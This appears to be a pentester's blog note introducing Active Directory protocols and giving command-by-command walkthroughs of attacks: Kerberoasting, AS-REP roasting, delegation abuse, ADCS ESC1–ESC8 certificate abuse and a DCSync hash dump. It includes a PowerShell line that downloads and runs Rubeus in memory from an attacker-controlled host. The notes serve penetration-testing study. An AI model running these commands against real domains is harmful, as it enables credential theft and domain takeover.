Home Notes | AD | AD Basics
Post
Cancel

Notes | AD | AD Basics

Active Directory

Introduction

Well, well well… Here we are. Doing an Active Directory introduction note. Lets start by defining what is Active directory. Active Directory (AD), is the windows directory. It allows interconnection between computers and/or servers. The computers and servers in a domain (computer cluster) can have any distribution in it (Unix-like or windows).

I will not get into too much detail on how active directory works, what is a domain, forest… I will focus only on the different protocols and attacks on it. If you want to get more information about how an AD works, and want basic knowledge on it, I advise you the great post Attacking Active Directory: 0 to 0.9.

Protocols

Before talking about the attacks on AD, I will just talk about the basic protocols that we have on windows AD. First we will talk about the famous three headed dog… I mean Kerberos protocol.

Kerberos

The Kerberos protocol uses tickets. You ask tickets, you get tickets and you give tickets. But why do we need tickets ? Because you would, for example, access a service on the domain. For example, let’s say you would like to access a web server or a server that share files… You will have to authenticate to this service. In an AD environment, you will, most of the time, use the Kerberos protocol for the authentication process (or NetNTLM but we will talk about it later).

Because an image is worth a big speech:

[kerb_auth.png]
paloaltonetworks image

Lets break this down. Lets say you want to access a server.

  • First, you have to connect to your workstation. When you enter your credentials, you request a TGT (Ticket Granting Ticket) to the AS (Authentication Service). Then, the AS check if you are who you pretend to be (username and hash of your password). If your credentials are valid, the AS will provide you with the requested TGT.

  • Now, when you try to connect to a server, it will check if the Kerberos protocol is available for this server. If so, you will request a ST (Service Ticket) to the TGS (Ticket Granting Service). To be able to do that, the TGT is sent to the TGS so it can authenticate the client.

  • With the ST, you just have to give it to the server that will check the validity of the ticket and authenticate you.

Be aware of the difference between ST and TGS. The TGS is the SERVICE providing the TICKET, where ST is the TICKET.

The KDC (Key Distribution Center) is the fusion of an AS and a TGS. It is often the DC (Domain Controller) that has the role of KDC.

NTLM

There is often a bit of confusion when we talk about NTLM. Do we speak about an authentication protocol or about a hash algorithm ? Well the authentication protocol is often called NTLM but the full name is Net-NTLM. There are different version of this protocol like Net-NTLMv1 or Net-NTLMv2. For now, only these 2 versions exist. And when we speak about a hash we just say NTLM hash. This NTLM hash is the response of the server challenge. It is the challenge + the response. But what people think of when we speak about NTLM hash is the NT hash or LM hash. This NTLM hash can be realayed or cracked offline.

Be aware that a lot of people make no distinction between the concatenation of NT and LM hash (separated by a :) and the NTLM "hash"/response that isn’t really a hash. It is just a response to the challenge sent by the server. Sometimes, the LM/NT hash is called NTLM hash

This NTLM hash can’t be passed. You can’t do a PtH (Pass the Hash) attack.

The client uses its NT hash during the NTLM authentication mechanism in order to calculate a response for the server.

NT hash can be used to authenticate to several services (ex: RDP).

LDAP

LDAP provides a standardized way to access and manage directory services, making it a fundamental component of many network infrastructure setups. For example, you can use LDAP to list all the users of a domain.

Attacks

Now that we know more about how an AD is working, we are going to talk about the most basic attacks on it.

Kerberoasting

In Active Directory, a ST can be requested by any user for any service that is registered in the domain database through an SPN (Service Principal Names), regardless of whether the service is running or not. Only service account should have an SPN but sometimes a regular user has an SPN.

An SPN looks like service_class/machine_name[:port][/path]

The Kerberoast attack consist on requests STs for those services of regular user accounts and try to crack them to get the user passwords. Usually, the users that have services also have privileges, so these are juicy accounts.

Enumeration / Exploitation

First of all, we need a user of the domain to be able to launch this attack. Once you have that, you can use LDAP queries, Bloodhound or GetUsersSPN to find the potential vulnerable users. The basic command:

1
GetUserSPNs.py -dc-ip $DC_IP $DOMAIN.LOCAL/$USER

[AD_kerb_getspn.png]

You can export the result with the same command by adding the -outputfile flag.

You can use hashes instead of the user password that you own by specifying the -hashes LM_HASH:NT_HASH. This is called PtH (Pass the Hash)

For better visualization, you can use bloodhound-python to export all the necessary information from the domain using commands like:

1
bloodhound-python -u $USER -p $PASSWORD -ns $DC_IP -d $DOMAIN.local -c all --zip

[AD_kerb_blood_py.png]

Now that you exported the data with bloodhound-python, you can use the default bloodhound GUI program to see any information about the domain you are trying to exploit. There is an option to see all Kerberoastable account in a graph format.

[AD_kerb_blood.png]

The same thing can be done using crackmapexec:

1
cme ldap $DC_IP -u $USER -p "$PASSWORD" -d $DOMAIN.local --kerberoasting KERBEROASTING

[AD_kerb_cme.png]

You can now use tools like hashcat to try cracking the recovered hash:

hashcat -m 13100 Kerberoastables.txt /usr/share/wordlists/rockyou.txt

Note that you can get ST for a service account. This won’t be able to crack it because it is generated automatically by the DC. It is a 120 random characters long passwords. Good luck cracking this XD.

AS-REPRoasting

Because some applications don’t support Kerberos preauthentication, it is common to find users with Kerberos preauthentication disabled, hence allowing attackers to request TGTs for these users and crack the session keys offline.

As for the Kerberoast attack, you can also use Bloodhound GUI to search AS-REPRoastable users. But here we are going to look only for the command line exploit.

Enumeration / Exploitation

1
GetNPUsers.py -request -format hashcat -outputfile ASREProastables.txt -dc-ip $DC_IP "$DOMAIN/$USER:$PASSWORD"

Here we just listed the potentially vulnerable users and exported their hash from the TGT in a file called ASREProastables.txt.

If this doesn’t work you can provide a user list like so:

[AD_kerb_getnpuser.png]

Note that you can use the -hashes "$LM_HASH:$NT_HASH" to use the hash of the user you own instead of its password.

We can now try to crack them all using hashcat:

hashcat -m 18200 -a 0 ASREProastables.txt /usr/share/wordlists/rockyou.txt

It may be worth mentioning that we can exploit AS-REProasting as an unauthenticated attacker. We just need to know the domain name (visible in crackmapexec output) and the username (that we can bruteforced with kerbrute or using a user list like we did earlier).

Golden / Silver Tickets

First of all, Golden and Silver tickets are used for persistence. This mean that you won’t use it on CTFs or pentest but it is a well known persistence method so it is good to know it.

Silver Tickets

Lets start with silver tickets. A Silver Ticket grants us access to a specific service. It allows us to generate a ST (Service Ticket) for this service. To do that, we need to know the kerberos key of this service account. To recover this key you can, for example, dump the lsass process. Tools like mimikatz (kerberos::golden) or the impacket ticketer.py can be used to do that.

Golden Tickets

Golden Tikets allows us to have unrestricted access to a whole domain by generating a TGT for any user. To be able to do that, we need to have access to the krbtgt key and to get this, we need to be domain admin (DA).

Delegations

Delegation is a mechanism in which a machine (the delegation server) can impersonate a user on a service. This means that the service think that the user ask for the resource where in reality it is the delegation server that is asking the resource to the server and then forward it to the user.

I will not get into too much detail here. you can have more information about the delegation on the hacker recipes or hackndo. They both are inspired by the article of Elad Shamir Wagging the Dog and this article is much more detailed than the two previous blogs. Here is also a talk about delegation presented by Shutdown (@nwodtuhs). (The french version here).

I will use the appellation delegation server. This can be any kind of server (web, share, database…) that does the mechanism of delegation. Its role isn’t only to delegate.

Unconstrained Delegation

This type of delegation was the first one created. It is not recommended to use it anymore. This allows the Unconstrained Delegation server to impersonate any user for any service. The only users that can’t be impersonated are the one in the group Protected Users and the one with the flag NOT_DELEGATED in the UserAccountControl attribute of the user account.

[unconstrained_delegation_schema]
Source: HacknDo

The client connect to the service by sending its ST. Inside his ST, the DC puts a copy of the user’s TGT. That service uses this TGT to impersonate the client to any other service.

To exploit the delegation mechanisms, you’ll need the hash of the service account or being admin of the machine.

Here we will have as an exemple an unconstrained delegation between PC and DC.

First connect to the machine (PC) then launch Rubeus in memory like so:

1
2
3
$data = (New-Object System.Net.WebClient).DownloadData('http://$KALI_IP:8080/Rubeus.exe')
$assem = [System.Reflection.Assembly]::Load($data);
[Rubeus.Program]::MainString("triage");

This command allows you to list all available tickets. Now we can use coercer to force a connection from PC to DC:

1
python3 coercer.py -u $ADMIN_PC -d $DOMAIN_PC -p $PASS_ADMIN_PC1 -t $DC -l $PC_NAME 

Now if you run again the triage command, you should see the krbtgt ticket in the list. To recover it, you can use the following command:

1
[Rubeus.Program]::MainString("dump /user:$MACHINE_NAME_DC /service:krbtgt /nowrap");

Now, we have a base64 ticket, you can convert it as a ccache file like so:

1
2
3
cat tgt.b64|base64 -d > ticket.kirbi
ticketConverter.py ticket.kirbi ticket.ccache
export KRB5CCNAME=/PATH/TO/ticket.ccache

And now we can use it to use command with this ticket like SecretsDump for exemple using the -k option.

S4U2Self

S4U2Self is an extension of Kerberos. It allows a machine that does delegation to impersonate a user on itself. To be more specific, it allows the machine to get a ST for its service (itself) as any user. This is very convenient when a service does not use Kerberos as its authentication mechanism.

Lets say that you try to connect to a service that uses the Net-NTLM authentication mechanism. Net-NTLM doesn’t use tickets, it is not related to Kerberos. This means that the delegation mechanism can’t work because it relies on the use of ST.

Protocol Transition (PT) is the name of this mechanism. PT is the mechanism that allow connection from other protocols than Kerberos on a Kerberos environment. Protocol Transition is only applicable to Constrained Delegation, not RBCD. It does not allow a connection from another protocol, it allows a delegation from another protocol to kerberos.

This is where the Protocol transition (PT) enter the scene. This will allow us to get a valid ST for our own service using S4U2Self for the user that just authenticated using Net-NTLM or an attacker can use it to impersonate any user on our service machine like the admin for example.

S4U2Self produces forwardable tickets only if the user is not a member of the protected user group or if it does not have the UAC NOT_DELEGATED attribute set. It will be important for S4U2Proxy.

S4U2Proxy

S4U2Proxy as S4U2Self is also an extension of Kerberos. It allows the delegation server to ask for a ST for “any” user and usable on any service on which it has permission to delegate (only works with Kerberos). To be able to do that, S4U2Proxy needs a forwardable ST. The forwardable flag of a ST can be obtained thanks to S4U2Self (only if the two upper conditions specified in the S4U2Self section are not set).

Constrained Delegation

Then the Constrained Delegation was created. Here, the constrained delegation server can only impersonate users on specific services. As you can see on the bellow schema, the user can be impersonated only on the file server and not on the two other.

[constrained_delegation_schema.png]
Source: HacknDo

The Contrained Delegation server ask the DC (Domain Controller) if it can receive a ST (Service Ticket) as the specified user. This is possible thanks to Self4U2Self

Note that the information about if the Constrained Delegation server is allowed or not to impersonate a user on a specific server is stored in the DC not on the Constrained Delegation server.

Only DA (Domain Admin) can change the delegation rights.

To exploit the Constrained Delegation, we first need to find it using the following command:

1
findDelegation.py $DOMAIN/$USER:$PASSWORD -target-domain $TARGET_DOMAIN

Now there is two scenarios. The first one is if there is protocol transition on the service that has the right to delegate.

With protocol transition

In this case, we first need to ask a TGT for the user we want to impersonate, then execute S4U2Self followed by S4U2Proxy to impersonate the administrator.

For Windows, you can use Rubeus:

1
2
.\Rubeus.exe asktgt /user:$USER /domain:$DOMAIN /password:$PASSWORD
.\Rubeus.exe s4u /ticket:$TICKET /impersonateuser:administrator /msdsspn:CIFS/$DC_NAME /ptt

Or on Linux:

1
getST.py -spn "CIFS/$DC_NAME" -impersonate Administrator -dc-ip $DC_IP $DOMAIN/$USER:$PASSWORD

With the received ticket, we can export it and then use it to connect to the machine with tools like smbexec, psexec, wmiexec

You need to export the ticket using the export KRB5CCNAME=/PATH/TO/ticket.ccache command

Without Protocol transition

In this case, we need a forwardable ST as the administrator to any service on the server. Here, we can’t just ask for the ST like we did earlier with protocol transition so we need to create a machine and add delegation from our created machine to the server (that has delegation). Why would we do that ? Because the resulted ST from our created machine is a forwardable ticket on the server (that has delegation).

First, we create our machine:

1
addcomputer.py -computer-name 'rbcd_created_machine$' -computer-pass 'rbcdpass' -dc-host $DC_IP $DOMAIN/$USER:$PASSWORD

Now, we add the RBCD from rbcd_created_machine$ to the server with Constrained Delegation.

1
rbcd.py -delegate-from 'rbcd_created_machine$' -delegate-to $SERVER_NAME_WITH_DELEGATION -dc-ip $DC_IP -action 'write' -hashes ":$SERVER_HASH" $DOMAIN/$SERVER_NAME_WITH_DELEGATION

Now that everything is set up, we can use S4U2Slef followed by S4U2Proxy on the server with delegation.

1
2
3
4
5
# s4u2self on rbcd_created_machine
getST.py -self -impersonate "administrator" -dc-ip 192.168.56.11  north.sevenkingdoms.local/'rbcd_created_machine$':'rbcdpass'

# s4u2proxy from rbcd_created_machine to $SERVER_NAME_WITH_DELEGATION
getST.py -impersonate "administrator" -spn "host/$SERVER_NAME_WITH_DELEGATION" -additional-ticket 'TICKET_NAME.ccache' -dc-ip $DC_IP  $DOMAIN/'rbcd_created_machine$':'rbcdpass'

or using only one command:

1
getST.py -spn "host/$SERVER_NAME_WITH_DELEGATION" -impersonate Administrator -dc-ip $DC_IP  $DOMAIN/'rbcd_created_machine$':'rbcdpass'

And finally, we use our forwardable ticket we just received to get a ST as the administrator on the DC and connect to it:

1
2
3
4
getST.py -impersonate "administrator" -spn "http/$DC_NAME" -altservice "cifs/$DC_NAME" -additional-ticket 'TICKET_OF_ADMIN_OF_SERVER.ccache' -dc-ip $DC_IP -hashes ":$SERVER_HASH" $DOMAIN/$SERVER_NAME_WITH_DELEGATION

export KRB5CCNAME=/PATH/TO/TICKET_OF_ADMIN_OF_DC.ccache 
wmiexec.py -k -no-pass $DOMAIN$/administrator@$DC_NAME

Resource Based Constrained Delegation

Resource Based Constrained Delegation (RBCD) works the other way around. It is not the RBCD server that check if it has the right to impersonate the service (ex: web server).The machine account can change its own attribute and not only the DA can change it on the DC. If the machine is compromised, then we can get the hash of the machine account and then continue the attack. This means that if you create a machine (MachineAccountQuota > 0) then you can specify that a specific server can impersonate your machine.

[resource_based_constrained_delegation_schema.png]
Source: HacknDo

To exploit an RBCD, we first need to create a machine:

1
addcomputer.py -computer-name 'rbcd_created_machine$' -computer-pass 'rbcdpass' -dc-host $DC_IP $DOMAIN/$USER:$PASSWORD

Now, we add the RBCD from rbcd_created_machine$ to the server with RBCD.

1
rbcd.py -delegate-from 'rbcd_created_machine$' -delegate-to $SERVER_NAME_WITH_DELEGATION -dc-ip $DC_IP -action 'write' -hashes ":$SERVER_HASH" $DOMAIN/$SERVER_NAME_WITH_DELEGATION

Our created machine has now delegation permission on our target, we can now use S4U2Self followed by S4U2Proxy and get an administrator ticket for the DC:

1
2
3
4
getST.py -spn "cifs/$DC_SPN" -impersonate Administrator -dc-ip $DC_IP $DOMAIN/'rbcd_created_machine$':rbcdpass

export KRB5CCNAME=TICKET_OF_ADMIN_OF_DC
wmiexec.py -k -no-pass @$DC_SPN

ADCS

ADCS or Active Directory Certificate Services is Microsoft’s PKI (Public Key Infrastructure). This means that ADCS allows integrity, authentication, non repudiation and confidentiality. Here we will be talking about ESC1 to ESC8 used for domain escalation. ESC stand for Escalation.

The main idea is that if you have enough rights, you can ask for certificates for a specific user, recover its NT hash and pass it or crack it.

Those appellations ESCX come from this paper from Will Schroeder and Lee Christensen also explained in this blog in a funnier way :).

Here are the meaning of each ESC based on this paper:

  • ESC1: Domain escalation via No Issuance Requirements + Enrollable Client Authentication/Smart Card Logon OID templates + CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT

  • ESC2: Domain escalation via No Issuance Requirements + Enrollable Any Purpose EKU or no EKU

  • ESC3: Domain escalation via No Issuance Requirements + Certificate Request Agent EKU + no enrollment agent restrictions

  • ESC4: Domain escalation via misconfigured certificate template access control

  • ESC5: Domain escalation via vulnerable PKI AD Object Access Control

  • ESC6: Domain escalation via the EDITF_ATTRIBUTESUBJECTALTNAME2 setting on CAs + No Manager Approval + Enrollable Client Authentication/Smart Card Logon OID templates

  • ESC7: Vulnerable Certificate Authority Access Control

  • ESC8: NTLM Relay to AD CS HTTP Endpoints

Well this is a lot… But we have a wonderful tool that allows us to check if the ADCS is vulnerable and can also be used to exploit it. Please welcome certipy!!!

Vulnerable ADCS

To check if an ADCS is vulnerable, you will have to run the following command:

1
certipy find -u "$USER@$DOMAIN" -p "$PASSWORD" -dc-ip "$DC_IP" -vulnerable

The output should look like this: IMAGE

ESC1

As you can see, the CA (Certificate Authority) is vulnerable to ESC1. To be able to exploit it you can recover the admin certificate:

1
certipy req -u $USER@$DOMAIN.local -p $PASSWORD -target $CA_SERVER.$DOMAIN.local -template ESC1 -ca $CA_NAME -upn administrator@$DOMAIN.local

Now, we should have a file called administrator.pfx. With this file, we can use it to recover the administrator NT hash:

1
certipy auth -pfx administrator.pfx -dc-ip $DC_IP
ESC2 /ESC3

With ESC2 and ESC3 are using the enrollment agent to request a certificate. As for ESC1, we use certipy to request a certificate:

1
certipy req -u $USER@$DOMAIN.local -p $PASSWORD -target $CA_SERVER.$DOMAIN.local -template ESC2 -ca $CA_NAME
1
certipy req -u $USER@$DOMAIN.local -p $PASSWORD -target $CA_SERVER.$DOMAIN.local -template User -ca $CA_NAME -on-behalf-of '$NETBIOS_NAME\administrator' -pfx $OUR_USER.pfx

Now that we have the admin certificate, we can use it to recover the NT hash:

1
certipy auth -pfx administrator.pfx -dc-ip $DC_IP

As you may have notice, we did this for the template ESC2, but we can run the following commands to exploit ESC3-CRA and ESC3 templates:

1
certipy req $USER@$DOMAIN.local -p $PASSWORD -target $CA_SERVER.$DOMAIN.local -template ESC3-CRA -ca $CA_NAME

Or

1
certipy req $USER@$DOMAIN.local -p $PASSWORD -target $CA_SERVER.$DOMAIN.local -template ESC3 -ca $CA_NAME -on-behalf-of '$NETBIOS_NAME\administrator' -pfx $OUR_USER.pfx

And finally get the NT hash:

1
certipy auth -pfx administrator.pfx -username administrator -domain $DOMAIN.local -dc-ip $DC_IP

Because the recovery of the NT hash is always the same command, I will not write this step anymore but you can check the ESC1 and ESC2/ESC3 to see how it is done.

ESC4

In ESC4, we will write privilege over a certificate template. Here, we are going to cheat a bit XD. We are not going to exploit ESC4 as we did with the previous template exploit. Here, we are going to use ESC4 to change the template and make it vulnerable to ESC1:

1
certipy template -u $USER@$DOMAIN.local -p $PASSWORD -template ESC4 -save-old -debug

Now that the template is vulnerable to ESC1, we can exploit it as follows:

1
certipy req -u USER@$DOMAIN.local -p $PASSWORD -target $CA_SERVER.$DOMAIN.local -template ESC4 -ca $CA_NAME -upn administrator@$DOMAIN.local

Because we did a modification over the template, we can rollback to the previous template using this command certipy template -u USER@$DOMAIN.local -p $PASSWORD -template ESC4 -configuration ESC4.json The ESC4.json is generated in the first command thanks to the parameter -save-old.

ESC5

Because ESC5 is less common and used so here is a link that explains it in detail.

ESC6

With ESC6, we are going to abuse the ATTRIBUTESUBJECTALTNAME2 flag set on the CA. This flag allows the enrollee to specify an arbitrary SAN (Subject Alternative Name) on all certificates despite a certificate template’s configuration. To get the certificate, we can run the following command:

1
certipy req -u USER@$DOMAIN.local -p $PASSWORD -target $CA_SERVER.$DOMAIN.local -template User -ca $CA_NAME -upn administrator@$DOMAIN.local
ESC7

As for ESC5, ESC7 is also not common and used so here is another link to get more information about it.

ESC8

ESC8 is a bit different. We don’t request directly a certificate and use it to get the administrator NT hash. Here we are going to use NTLM Relay (this attack will be explained in more detail in the next chapter). But the main idea is that we are going to receive a connexion with a Coertion for exemple (Coertion is the action to force a machine account to authenticate to us.) and then use this received connexion to relay it to the same protocol or a different one (for more information check out the NTLM relay chapter). For more simple exemple, we are going to use certipy that will do the NTLM relay for us.

First, we use certipy as a listener:

1
certipy relay -ca $CA_IP -template DomainController

Now we are going to use the tool petitpotam that will trigger the coertion:

1
petitpotam.py $OUR_IP $DC_NAME.$DOMAIN.local

We could have used Responder ot mitm6 to recover the connection instead of petipotam. This will not use coertion but spoof different protocols to recover a connection and send it to certipy.

We recover the NT hash and TGT of the DC from the certificate :

1
certipy auth -pfx CERTIFICATE.pfx -dc-ip $DC_IP

For information purpose, in all above cases, certipy auth does not always work, but even when we can’t use it, the ESC is still exploitable by other means.

NTLM Relay

Coming soon

DCSync

We have seen a lot of attacks by now on an AD. Some of them allowed us to get domain admin access (access over all the domain like DC and servers). When we are domain admin or if we have a user with DCSync right, a cool thing to do is to recover every hash of every user and every machine. And when we do that, we can connect as any user on any machine (if it is allowed). Hence, because we also have the domain admin hash, we can connect with it on any machine of the domain.

This attack is called DCSync (dump of the DC information). We can use tools like secretsdump to do that using a Kerberos ticket :

1
2
export KRB5CCNAME=/workspace/esc8/CCACHE_FILE.ccache
secretsdump -k -no-pass $DOMAIN.LOCAL/"$MACHINE"@$DC_NAME.$DOMAIN.local

Or, we could just dump all the hash of the domain using the NT hash instead of the TGT:

1
secretsdump -hashes ":$NT_HASH_OF_DC_ACC" -no-pass $DOMAIN.LOCAL/"$MACHINE"@$DC_NAME.$DOMAIN.local
This post is licensed under CC BY 4.0 by the author.